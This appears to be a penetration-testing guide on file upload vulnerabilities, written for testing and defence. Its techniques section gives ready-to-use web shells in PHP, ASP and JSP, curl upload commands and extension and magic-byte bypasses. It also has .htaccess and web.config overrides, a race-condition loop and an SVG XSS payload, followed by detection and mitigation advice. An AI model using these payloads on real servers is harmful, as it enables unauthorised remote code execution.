File Upload Vulnerabilities
Overview
File upload vulnerabilities occur when an application allows users to upload files without sufficient validation of the file's type, content, or destination. Attackers upload executable files (web shells, scripts) that the server then executes, leading to remote code execution. Even without direct execution, uploaded files can overwrite critical files, deliver client-side attacks, or fill disk space.
ATT&CK Mapping
- Tactic: TA0001 - Initial Access
- Technique: T1190 - Exploit Public-Facing Application
- Tactic: TA0011 - Command and Control
- Technique: T1105 - Ingress Tool Transfer
Prerequisites
- Application has file upload functionality
- Uploaded files are stored in a web-accessible directory (for direct execution)
- Insufficient validation of file extension, content type, or content
- Server configured to execute uploaded file types (e.g., PHP, ASP, JSP)
Detection Methodology
Identifying Upload Endpoints
- Profile picture / avatar uploads
- Document upload forms (resume, attachment)
- Import functionality (CSV, XML, JSON)
- CMS media libraries
- Support ticket file attachments
- API endpoints accepting file uploads
Testing Approach
- Upload a legitimate file — note the upload path, URL, and filename handling
- Test extension validation — try uploading executable extensions
- Test content-type validation — modify the
Content-Typeheader - Test content validation — check if magic bytes or file content is inspected
- Test filename handling — try path traversal in the filename, overlong names, special characters
Techniques
No Validation
Upload a web shell directly when no validation exists:
# PHP web shell
echo '<?php system($_GET["cmd"]); ?>' > shell.php
# Upload and access
curl -F "file=@shell.php" http://target.com/upload
curl "http://target.com/uploads/shell.php?cmd=id"
Extension Bypass
Alternative PHP extensions:
.php3
.php4
.php5
.php7
.pht
.phtml
.phar
.phps
.pgif
.shtml
.inc
Alternative ASP extensions:
.asp
.aspx
.ashx
.asmx
.cer
.config
Alternative JSP extensions:
.jsp
.jspx
.jsw
.jsv
.jspf
Case variation:
.pHp
.PhP
.PHP
.Php
Double extensions:
shell.php.jpg (server processes .php if configured loosely)
shell.php.png
shell.jpg.php (some servers check only the last extension)
Null byte in extension (older systems):
shell.php%00.jpg (URL-encoded null byte)
shell.php\x00.jpg (raw null byte)
Trailing characters:
shell.php. (trailing dot — Windows strips it)
shell.php (trailing space)
shell.php;.jpg (semicolon — IIS may process up to semicolon)
shell.php::$DATA (NTFS alternate data stream — Windows/IIS)
Content-Type Bypass
The Content-Type header in the multipart upload is client-controlled. Change it to an allowed type:
# Upload PHP shell with image content type
curl -F "file=@shell.php;type=image/jpeg" http://target.com/upload
curl -F "file=@shell.php;type=image/png" http://target.com/upload
curl -F "file=@shell.php;type=image/gif" http://target.com/upload
Or modify the request in Burp Suite — change Content-Type: application/x-php to Content-Type: image/jpeg in the multipart body.
Magic Byte Bypass
Some applications check the file's magic bytes (file signature) rather than the extension. Prepend valid image magic bytes to a PHP shell:
# GIF magic bytes + PHP shell
printf 'GIF89a<?php system($_GET["cmd"]); ?>' > shell.php.gif
# JPEG magic bytes + PHP shell (hex: FF D8 FF E0)
printf '\xff\xd8\xff\xe0<?php system($_GET["cmd"]); ?>' > shell.php.jpg
# PNG magic bytes + PHP shell (hex: 89 50 4E 47)
printf '\x89PNG\r\n\x1a\n<?php system($_GET["cmd"]); ?>' > shell.php.png
If the server checks magic bytes but processes based on extension, the PHP code still executes.
Polyglot Files
Create files that are both valid images and contain executable code:
# Create a valid JPEG that contains PHP code in EXIF metadata
# exiftool
# https://exiftool.org/
exiftool -Comment='<?php system($_GET["cmd"]); ?>' legitimate.jpg
cp legitimate.jpg shell.php.jpg
.htaccess Upload
If the application allows uploading .htaccess files (Apache), override server configuration:
# .htaccess that makes .jpg files execute as PHP
echo 'AddType application/x-httpd-php .jpg' > .htaccess
# Upload .htaccess first, then upload shell.jpg
echo '<?php system($_GET["cmd"]); ?>' > shell.jpg
web.config Upload (IIS)
Upload a web.config to enable ASP execution in the upload directory:
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.webServer>
<handlers accessPolicy="Read, Script, Write">
<add name="web_config" path="*.config" verb="*"
modules="IsapiModule"
scriptProcessor="%windir%\system32\inetsrv\asp.dll"
resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />
</handlers>
<security>
<requestFiltering>
<fileExtensions>
<remove fileExtension=".config" />
</fileExtensions>
</requestFiltering>
</security>
</system.webServer>
</configuration>
Path Traversal in Filename
If the application uses the uploaded filename to determine the storage path:
filename="../../../var/www/html/shell.php"
filename="....//....//....//var/www/html/shell.php"
In the multipart form data (Burp Suite):
Content-Disposition: form-data; name="file"; filename="../shell.php"
Race Condition Upload
Some applications upload the file first, then validate and delete if invalid. Upload and access the file before validation completes:
# Custom script created for this guide
# Continuously upload and request the shell in parallel
while true; do
curl -s -F "file=@shell.php" http://target.com/upload &
curl -s "http://target.com/uploads/shell.php?cmd=id" &
done
Burp Intruder with null payloads and high thread count can also exploit this race condition.
SVG Upload to XSS
If SVG files are accepted and served inline, inject JavaScript:
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200">
<script>alert(document.domain)</script>
</svg>
Common Web Shells
PHP:
<?php system($_GET["cmd"]); ?>
<?php echo shell_exec($_GET["cmd"]); ?>
<?php passthru($_GET["cmd"]); ?>
<?= `$_GET[cmd]` ?>
ASP:
<%eval request("cmd")%>
JSP:
<%@ page import="java.util.*,java.io.*"%>
<%
String cmd = request.getParameter("cmd");
Process p = Runtime.getRuntime().exec(cmd);
BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
while ((line = br.readLine()) != null) { out.println(line); }
%>
Detection Methods
Network-Based Detection
- File uploads with executable extensions (
.php,.asp,.jsp,.aspx) - Mismatched content type and file extension in multipart uploads
- Known web shell signatures in uploaded file content
- Requests to newly uploaded files with query parameters (
?cmd=)
Host-Based Detection
- New executable files appearing in upload/web directories
- File integrity monitoring (FIM) alerts on web-accessible directories
- Web server process spawning child shells after request to uploaded file path
- Antivirus/EDR detection of known web shell patterns
Mitigation Strategies
- Whitelist allowed extensions — only permit known-safe file types (
.jpg,.png,.pdf). Reject everything else. Never blacklist — there are too many executable extensions to block - Validate file content — check magic bytes AND file structure (use a library that fully parses the image/document format, not just the first few bytes)
- Rename uploaded files — generate random filenames server-side. Never use the original filename. This prevents extension tricks and path traversal
- Store outside web root — upload files to a directory that is not web-accessible. Serve files through a download script that sets
Content-Disposition: attachmentand a safeContent-Type - Disable execution in upload directories — configure the web server to never execute scripts in the upload directory (Apache:
php_flag engine offin.htaccess; Nginx: nolocationblock passing to PHP-FPM for upload paths) - File size limits — enforce maximum file size to prevent disk exhaustion
- Antivirus scanning — scan uploaded files for known malware signatures
References
Pentest Guides & Research
- PortSwigger Web Security Academy - File Upload Vulnerabilities
- OWASP - Testing for Unrestricted File Upload